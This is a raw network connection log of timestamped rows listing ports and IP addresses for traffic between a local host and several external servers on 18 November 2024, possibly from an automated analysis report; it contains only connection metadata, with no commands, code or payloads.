Nov 18, 2024 15:16:42.884401083 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.884416103 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.920484066 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.920545101 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.920563936 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.922715902 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.922771931 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.922785997 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.926306963 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.926362991 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.926371098 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.926386118 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.926445007 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.926446915 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:42.926501989 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.926652908 CET	49712	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:42.926680088 CET	443	49712	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:44.156991005 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.203324080 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.456887960 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.456922054 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.456931114 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.456939936 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.456974030 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.457047939 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.457065105 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.457084894 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.457138062 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.457855940 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.457978010 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:44.458086014 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.463026047 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:44.926754951 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:44.926784992 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:44.926858902 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:44.927078962 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:44.927093029 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:45.166390896 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:45.166390896 CET	49714	443	192.168.2.9	52.149.20.212
Nov 18, 2024 15:16:45.166412115 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:45.166421890 CET	443	49714	52.149.20.212	192.168.2.9
Nov 18, 2024 15:16:45.321171045 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:45.321199894 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:45.321268082 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:45.323046923 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:45.323061943 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:45.437848091 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:45.437876940 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:45.437973976 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:45.438178062 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:45.438195944 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:45.734216928 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:45.734877110 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:45.739115000 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:45.739913940 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:45.740093946 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:45.740173101 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:45.745373011 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:45.985352039 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:45.985738039 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:45.985768080 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:45.986138105 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:45.986478090 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:45.986536980 CET	443	49724	142.250.184.196	192.168.2.9
Nov 18, 2024 15:16:46.034344912 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:46.177062988 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.177133083 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.183365107 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.183384895 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.183728933 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.237473965 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.268101931 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.311335087 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.409959078 CET	49733	443	192.168.2.9	142.250.185.206
Nov 18, 2024 15:16:46.409982920 CET	443	49733	142.250.185.206	192.168.2.9
Nov 18, 2024 15:16:46.410181046 CET	49733	443	192.168.2.9	142.250.185.206
Nov 18, 2024 15:16:46.410401106 CET	49733	443	192.168.2.9	142.250.185.206
Nov 18, 2024 15:16:46.410418987 CET	443	49733	142.250.185.206	192.168.2.9
Nov 18, 2024 15:16:46.511892080 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.511981010 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.512053967 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.517411947 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.517426014 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.517436981 CET	49726	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.517441988 CET	443	49726	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.552431107 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.552655935 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.552670002 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.553726912 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.553780079 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.554816008 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.554888964 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.555083990 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.555092096 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.576009989 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.576031923 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.576119900 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.576766968 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:46.576792955 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:46.596648932 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.798029900 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.798088074 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.798118114 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.798141003 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.798161030 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.798171997 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.798197985 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.798573017 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.799071074 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.799077988 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.806878090 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.806926012 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.806932926 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.846642971 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.846651077 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.893819094 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.913036108 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.913342953 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.914259911 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.914268017 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.917912960 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.918009043 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.918015957 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.922086954 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.923008919 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.923016071 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.931221962 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.931272030 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.931279898 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:46.973064899 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:46.975054979 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.020706892 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.028678894 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.028737068 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.028794050 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.028809071 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.032951117 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.033087969 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.033103943 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.037147045 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.037429094 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.037445068 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.048270941 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.048329115 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.048346043 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.089411974 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.093106985 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.093120098 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.143949986 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.143992901 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.144018888 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.144052029 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.144073009 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.144079924 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.148181915 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.148245096 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.148252964 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.160747051 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.160790920 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.160800934 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.171206951 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:47.171335936 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:47.204457045 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.204489946 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.204560041 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.204560041 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.204577923 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.204618931 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.258996964 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.263667107 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.263695002 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.263752937 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.263767004 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.263814926 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.276587009 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.276643038 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.276726007 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.276787996 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.276803017 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.276988029 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.279247046 CET	443	49733	142.250.185.206	192.168.2.9
Nov 18, 2024 15:16:47.291898012 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.319848061 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.319936991 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.319947958 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.333393097 CET	49733	443	192.168.2.9	142.250.185.206
Nov 18, 2024 15:16:47.364510059 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.374614954 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.378868103 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.378895044 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.378940105 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.378999949 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.379012108 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.379018068 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.391932011 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.391973972 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.392004013 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.392016888 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.392112017 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.392255068 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.419228077 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.419337034 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.422780991 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.422799110 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.423060894 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.431869984 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.435256004 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.435291052 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.435327053 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.435338974 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.435426950 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.475336075 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.488723993 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:47.489903927 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.493869066 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:47.493973970 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.494085073 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.494122028 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.494133949 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.494297981 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.507128000 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.507179022 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.507206917 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.507263899 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.507272959 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.507579088 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.507616997 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.550359011 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.550379038 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.550414085 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.550430059 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.550653934 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.550661087 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.598845959 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.605772972 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.605820894 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.605962038 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.605974913 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.609920979 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.610004902 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.610013962 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.622409105 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.622442007 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.622479916 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.622493029 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.622503042 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.622550011 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.623217106 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.623358965 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.623369932 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.623426914 CET	443	49729	172.217.18.14	192.168.2.9
Nov 18, 2024 15:16:47.623518944 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.639025927 CET	49724	443	192.168.2.9	142.250.184.196
Nov 18, 2024 15:16:47.648447990 CET	49733	443	192.168.2.9	142.250.185.206
Nov 18, 2024 15:16:47.648562908 CET	49729	443	192.168.2.9	172.217.18.14
Nov 18, 2024 15:16:47.674186945 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.674266100 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.674336910 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.675101042 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.675101042 CET	49735	443	192.168.2.9	184.28.90.27
Nov 18, 2024 15:16:47.675122976 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:47.675133944 CET	443	49735	184.28.90.27	192.168.2.9
Nov 18, 2024 15:16:49.267627954 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:49.267788887 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:49.270414114 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:49.270466089 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:49.270560026 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:49.270987988 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:49.271112919 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:49.271213055 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:53.308191061 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:53.308212996 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:53.308386087 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:53.311522961 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:53.311538935 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:53.422813892 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:53.422940969 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.031533003 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:55.031575918 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:55.031652927 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:55.059170961 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:55.059190989 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:55.428932905 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.430403948 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:55.430423021 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.431483030 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.431536913 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:55.433156013 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:55.433227062 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.433455944 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:55.433464050 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.493410110 CET	49732	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.493859053 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.498353004 CET	80	49732	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.498744011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.498967886 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.499361992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.499614954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:55.504342079 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.504522085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.504533052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.504570961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:55.566557884 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:55.671885967 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.784307957 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:55.784389973 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:56.059617996 CET	49739	443	192.168.2.9	94.245.104.56
Nov 18, 2024 15:16:56.059645891 CET	443	49739	94.245.104.56	192.168.2.9
Nov 18, 2024 15:16:56.070245981 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:56.070271015 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:56.070416927 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:56.070632935 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:56.070646048 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:56.257509947 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.257599115 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.294447899 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.294471979 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.294917107 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.296247959 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.296309948 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.296401024 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.440943956 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:56.440958977 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:56.441029072 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:56.441427946 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:56.441446066 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:56.731676102 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.731729031 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.731801033 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.731821060 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.731842995 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.731856108 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.742619991 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.742619991 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.743202925 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.743277073 CET	443	49745	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:56.743330956 CET	49745	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:56.837654114 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.837694883 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.837764978 CET	49771	443	192.168.2.9	162.159.61.3
